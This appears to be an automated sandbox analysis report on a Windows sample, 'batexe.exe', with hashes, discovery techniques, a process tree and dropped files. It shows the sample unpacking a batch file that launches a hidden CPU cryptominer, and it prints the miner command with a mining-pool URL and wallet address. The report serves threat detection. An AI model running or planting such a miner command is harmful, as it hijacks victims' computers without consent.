73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11-02-2024 19:04

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5036	b2e.exe
2960	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2960	cpuminer-sse2.exe
2960	cpuminer-sse2.exe
2960	cpuminer-sse2.exe
2960	cpuminer-sse2.exe
2960	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1744-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 5036	1744	batexe.exe	85
PID 1744 wrote to memory of 5036	1744	batexe.exe	85
PID 1744 wrote to memory of 5036	1744	batexe.exe	85
PID 5036 wrote to memory of 2816	5036	b2e.exe	86
PID 5036 wrote to memory of 2816	5036	b2e.exe	86
PID 5036 wrote to memory of 2816	5036	b2e.exe	86
PID 2816 wrote to memory of 2960	2816	cmd.exe	89
PID 2816 wrote to memory of 2960	2816	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Users\Admin\AppData\Local\Temp\568C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\568C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\568C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\592C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\568C.tmp\b2e.exe

Filesize
2.0MB

MD5
061aef31be84ba887ef1877f87418ece

SHA1
8604bafacdce6c1b3435c632703f0fbd3a89e834

SHA256
04b4b33032e4973802dd8cae5fcd19acb2c49e0fa6c0d3aba525a99601036c5c

SHA512
0ca74db7f20f8d390f3b215491131d8dfa2fa426e1126ffbfff55e15be999445c84998faa2b5c6a11c4921aed1dc5e9280ca511db0049d9c2c323bfad1aa82c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\568C.tmp\b2e.exe

Filesize
1.0MB

MD5
20d1f8a043d12991607d407eb4497946

SHA1
7b0b905c50660f16e2cbd7e9515b81a9f77041dd

SHA256
2a9c1283db0d12f284c7dd18c44ce2267e0ef9b792327385b4a26afc4f22ba2c

SHA512
3d8e4d6aef52dd4680de25af35ed77b9a9367a1b8d2d52ca35f48cdf90b07cd6b97d24fbc7ef7b571e7ee1b5805aaaf932332e4456b38bdc28ca7bdfdea4a812

Download Submit
C:\Users\Admin\AppData\Local\Temp\568C.tmp\b2e.exe

Filesize
1.2MB

MD5
c507553fa97811248a7b36059a90684b

SHA1
ed3f5e77d75d079db974a09eb5420a46aa690b9a

SHA256
718d2f079ef88b8d362ec532df1668fc03458e36687999f9b5cbbb8ba79cc802

SHA512
9af04a8f0a49dabf2b9a7eea1e577f6bfedd7577434c45076a8c3b501e7108b352c5d48e5249126093697fb0fe2394d3a1131b142ef2349a4461b304a573da4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\592C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
398KB

MD5
36c8da0b8a39fa3329ceab61f1348425

SHA1
81bd7a6945d8c5ad232006e8460b0c9528dd6ba3

SHA256
6deda6c2ce9d5c6ba6bda5beae1ca8f01d70366a4663b6a92cc8a8bdc3a84fe7

SHA512
759b51c09cd1e748a52fd02d3958a97d680bf2eba93e56dae90c318737524eeda43269682e57aeb9b2a6f15270cc319b5a1baa08600e7c7cccd1af726c460b64

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
479KB

MD5
3acc1de14777e6d704f1d660c5e9996e

SHA1
9c520200e202e9ca9f47079a17ba68946bda3f8e

SHA256
c6a5c1cd92654dbb4a30b81c82a00c0b3bffceee991eb6c57a554c71c2053a48

SHA512
4f6dff3da20e2df401bf766289704698412229a8ba379dc05d6c8929aa96fbfab3ec7859cbdb5ab127a07c12d54e2045db2561d257a2be2f1f4b28f1400375bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
414KB

MD5
972a4308e2f6d9286f2522b43d36ee69

SHA1
b8487244533004777c7650c1f4e7a1e42dd4fb61

SHA256
594b5d8d07e234350f694aa6f241373606d5f5e87ed0a6d3b21b4b8db54030c7

SHA512
80a16ba1b72fb8ff27e648fdf091d6e910dbb75a51909dd6de210dd58bae2fc6436462ea3c8817de4bca1a5e5dc345fc625289d9b81a7ccbeb47aba06b11f6a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
256KB

MD5
11e8812bfa1d698cdeb73a16c1d7c963

SHA1
e8708fd452ab5946b380d0c353ac26acf289e548

SHA256
e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402

SHA512
fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
545KB

MD5
6aa14760d118e5977aabd2ff2f1da3c3

SHA1
f1aeb6bd61b66280fcfe8687d5070a4cc3ff8cc4

SHA256
f80c9d64841708d5828a07b455e0f4418a184e72206cfbf1e532dda0ae2abbfb

SHA512
d6743caae2f5c53a80f39ae22c712d0ed94360f650625c5c93e7ce4a815cfc6bcaa96217b0d4a02db4c3d99e30840f6bb0763f72f640dbb4e5894338efc498e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
360KB

MD5
38b2ce0119c01df94f2ef4345c12c7be

SHA1
e45bff62a66ff13743f41ca045c6c3092b8a32c5

SHA256
d8695e2c855d3793e5ca3e1c71e2105b3d6bc2cfd5807effc5664e62d6b52853

SHA512
8fe05d0b604b867c8e9f1c37ff3905bae1456d2932ad76adaf7839e98c54e041daf1fab0cd9cd661f762c2931cf93cc903d8c308db1ca39e69094af77a7618f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
475KB

MD5
f211214ee4cfa6ab48196379b31870da

SHA1
6fa79094bbe884d5ab5c391482b6006e64cd01c0

SHA256
3b526c85e4913e354d57717bb306e403d0b2c7b847039260be3c2a306cc912c5

SHA512
7aab54103bc27a6281c6718d9b4468c7732c32272c0bc4c4793b126af294f6a854cca68fc75bdb9b2c67288ffbf07c64c7e044025fd4966081b334e01328bd08

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
542KB

MD5
cc2ac735a48c1cadb57ad900376ff980

SHA1
a9433f5a041eb86b4f8fa08c6e19c900d8ab276c

SHA256
c4381937be15ac39062c57cfe8f3c0e4b9b4245eeb254d13a654b52f661676bb

SHA512
c90fbc80666d6c73772712aad4fb244e767ba539d7d9130baf4668ba19b229b304ac87c67fbb67fde9701dfcaeefc66cab947ae7dfb52c2ea463ed4d13fc7e8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
563KB

MD5
8e0ac6cf67593342a70f394fc97b4092

SHA1
cad64fbd156646b5d8852fe365d0d440003773c7

SHA256
3fddaa301adb673533a20b8a6deabf6d057bbd6be977fc4c814f1de9577f88ac

SHA512
c7f9cc01c68e414abae6ee34224d389e2cd2fa8e36e9bc3054ad7e547e1ec9b47ea71e9e762715c88b9fcb3b0c56c7b7ce7d09739b9e9de92a044fc0868b1b34

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
404KB

MD5
0ae1f914de87a3dac4f5f9bbd90eeccf

SHA1
37cbfec17919c420344814a46807c1bd8eab04c2

SHA256
dae3a534202868c0b56519aea5ca1de782dbb9c38b2a3062ff853ac5ea1b7924

SHA512
88f90050b48eeb627215ba8d376c9c0224c50b20621adb75f4e8f04450cf18a1c959d548ddea855babcf20cd9f7ad3b418e51705929783a5ee298174f0afbce8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
320KB

MD5
1ae43cc09627ff82d15527ea2693fd76

SHA1
c39ffa1a4b80c29fa1f5caed3e7d091253266c66

SHA256
b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f

SHA512
21945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271

Download Submit
memory/1744-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2960-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-45-0x0000000072210000-0x00000000722A8000-memory.dmp

Filesize
608KB

Download
memory/2960-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2960-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2960-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2960-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2960-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5036-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5036-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download